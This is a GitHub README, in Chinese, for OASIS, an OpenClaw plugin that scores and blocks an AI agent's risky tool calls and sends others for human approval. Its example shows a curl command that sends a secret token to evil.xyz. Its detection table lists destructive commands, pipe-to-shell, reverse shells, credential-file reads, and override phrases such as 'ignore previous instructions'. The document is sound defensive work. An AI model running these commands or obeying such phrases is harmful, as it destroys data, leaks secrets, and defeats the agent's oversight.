PeterCha90/oasis
GitHub: PeterCha90/oasis
一个基于确定性正则模式匹配的 OpenClaw 提示注入防御插件,在 Gateway 层拦截工具调用并进行风险评分与审批控制。
Stars: 1 | Forks: 0
🏝️ OASIS
OpenClaw 针对可疑注入信号的防御方案
一个原生 OpenClaw 插件,可拦截每一次 tool 调用,
通过确定性模式匹配进行风险评分,
并阻止或通过 Slack/Discord/Telegram 按钮请求批准。
不依赖 LLM 判断。没有虚假的自信。只有纯正则和数学。
``` ┌─────────────────────────────────────────┐ │ 🏝️ OASIS Security Review │ │ │ │ Risk Score: 0.8 / 1.0 │ │ Tool: exec │ │ Detected: Suspicious domain (.xyz), │ │ Secret/credential access │ │ │ │ Parameters: │ │ { "command": "curl https://evil.xyz/ │ │ steal?data=$SECRET_TOKEN" } │ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ ✅ Allow │ │ ❌ Deny │ │ │ └──────────┘ └──────────┘ │ └─────────────────────────────────────────┘ ``` **[🇰🇷 韩语文档](docs/README-ko.md)** ## 工作原理 OASIS 在 Gateway 层面接入了 OpenClaw 的 `before_tool_call` 管道。每一次 tool 调用都会经过一个三阶段的决策过程: ``` Agent requests tool call │ ▼ ┌─────────────────┐ │ before_tool_call │ ◄── OASIS hook └────────┬────────┘ │ Read tool? ─── Yes ──→ Pass through ✅ │ No │ Pattern scan ──→ score 0.0 ~ 1.0 │ ┌─────┴──────┐ = 1.0 > threshold ≤ threshold │ │ │ 🚨 Block ⚠️ Approval ✅ Auto-allow (no override) (Slack/Discord/ Telegram buttons) ``` ## 系统要求 | 要求 | 最低版本 | | ----------------- | --------------- | | OpenClaw Gateway | `>= 2026.3.28` | | Node.js | `>= 22.14` | ## 安装 ``` openclaw plugins install @petercha90/oasis openclaw gateway restart ``` ### 推荐配置 ``` // ~/.openclaw/openclaw.json { "plugins": { "entries": { "oasis": { "enabled": true, "config": { "threshold": 0.3, "approvalTimeoutMs": 120000, }, }, }, }, "approvals": { "plugin": { "enabled": true, "mode": "session", }, }, "channels": { "slack": { "capabilities": { "interactiveReplies": true, }, }, }, } ``` ## 工具分类 | 分类 | 工具 | 行为 | | ----------------------- | -------------------------------------------------------------------------- | -------------- | | **Read**(免检放行) | `read`, `glob`, `grep`, `web_search`, `list`, `cat` | 不进行分析 | | **Execute**(风险扫描) | `exec`, `bash`, `write`, `edit`, `web_fetch`, `file_delete`, `apply_patch` | 进行模式匹配 | 通过配置文件自定义: ``` { "config": { "customReadTools": ["my_safe_tool"], "customExecuteTools": ["my_dangerous_tool"], }, } ``` ## 风险评分 所有的评分都是**确定性模式匹配**。不涉及任何 LLM。 | ID | 检测内容 | 分数 | 操作 | | ---------------------- | ------------------------------------------------- | ------- | ------------ | | `BLOCK_DESTRUCTIVE` | `rm -rf /`, fork bomb, `mkfs`, `dd if=/dev/zero` | **1.0** | 🚨 已阻止 | | `BLOCK_PIPE_SHELL` | `curl \| bash`, `wget \| sh` | **1.0** | 🚨 已阻止 | | `PROMPT_INJECTION` | `ignore previous instructions`, `you are now` | 0.9 | 请求批准 | | `SECRET_ACCESS` | `$AWS_SECRET`, `process.env.TOKEN` | 0.8 | 请求批准 | | `SUSPICIOUS_DOMAIN` | `.xyz`, `.tk`, `.ml`, `.pw`, `.top` | 0.8 | 请求批准 | | `DATA_EXFILTRATION` | `curl -X POST`, `nc -e`, reverse shell | 0.7 | 请求批准 | | `SENSITIVE_FILE` | `.env`, `.ssh/id_rsa`, `.aws/credentials` | 0.6 | 请求批准 | | `PRIVILEGE_ESCALATION` | `sudo`, `chmod 777`, `chown root` | 0.5 | 请求批准 | | `EXTERNAL_URL` | 访问非安全域名的 HTTP 请求 | 0.3 | 请求批准 | - **分数 1.0** = 始终阻止,无法批准 - **分数 > 阈值** = 需要用户批准(Slack/Discord/Telegram 按钮) - **分数 ≤ 阈值** = 自动允许 - 匹配到多个规则时,采用 `max()` 策略(取最高分) ## 配置项 | 选项 | 类型 | 默认值 | 描述 | | -------------------- | ---------- | -------- | ---------------------------------------------------- | | `threshold` | `number` | `0.3` | 风险阈值(0.0 最严格 ~ 0.9 最宽松) | | `approvalTimeoutMs` | `number` | `120000` | 批准超时时间(单位为毫秒,超时将自动拒绝) | | `safeDomains` | `string[]` | `[]` | 额外的安全域名(跳过 EXTERNAL_URL 评分) | | `customPatterns` | `object[]` | `[]` | 自定义检测模式(`{id, regex, score}`) | | `customReadTools` | `string[]` | `[]` | 额外的只读工具 | | `customExecuteTools` | `string[]` | `[]` | 额外的执行工具 | | `logLevel` | `string` | `"info"` | `debug`, `info`, `warn`, `error` | ### 内置安全域名 `github.com`, `npmjs.com`, `pypi.org`, `crates.io`, `api.anthropic.com`, `api.openai.com`, `docs.openclaw.ai`, `stackoverflow.com` 等。 ## CLI ``` # 不执行测试风险评分 openclaw oasis test "rm -rf /" # 🚨 已阻止 (1.0) — 破坏性命令 openclaw oasis test "curl https://api.github.com/repos" # ✅ 自动允许 (0.0) openclaw oasis test "sudo docker-compose up" # ⚠️ 需要审批 (0.5) — 权限提升 # 显示当前配置 openclaw oasis status ``` ## 卸载 ``` openclaw plugins uninstall oasis openclaw gateway restart ``` ## 项目结构 ``` oasis/ ├── src/ │ ├── index.ts # Plugin entry (definePluginEntry) │ ├── scanner.ts # Risk scoring engine │ ├── classifier.ts # Tool classification │ ├── patterns.ts # Detection patterns │ ├── config.ts # Config loading │ ├── logger.ts # Structured logging │ ├── types.ts # TypeScript types │ └── cli/ │ └── setup-wizard.ts # CLI commands ├── tests/ │ ├── scanner.test.ts # 14 tests │ ├── classifier.test.ts # 11 tests │ ├── patterns.test.ts # 12 tests │ └── integration.test.ts # 7 tests ├── openclaw.plugin.json # Plugin manifest ├── package.json └── tsconfig.json ``` ## 为什么叫 "OASIS"? **O**penClaw **A**ntidote for **S**uspicious **I**njection **S**ignals (OpenClaw 针对可疑注入信号的防御方案) 就像沙漠中的绿洲,在安全威胁的荒野里提供一片安全地带。🏝️ ## 许可证 MIT — [Peter Cha](https://github.com/PeterCha90)标签:AI安全, Chat Copilot, CISA项目, Discord机器人, LLM防火墙, MITM代理, npm包, OpenClaw插件, Prompt注入防御, SecOps, Slack机器人, Streamlit, Telegram机器人, 云安全架构, 企业安全, 凭据保护, 命令执行防护, 大语言模型安全, 工具调用拦截, 恶意代码拦截, 提示词过滤, 机密管理, 正则表达式匹配, 确定性安全, 网络信息安全, 网络资产管理, 自动化攻击, 访问控制, 零日漏洞检测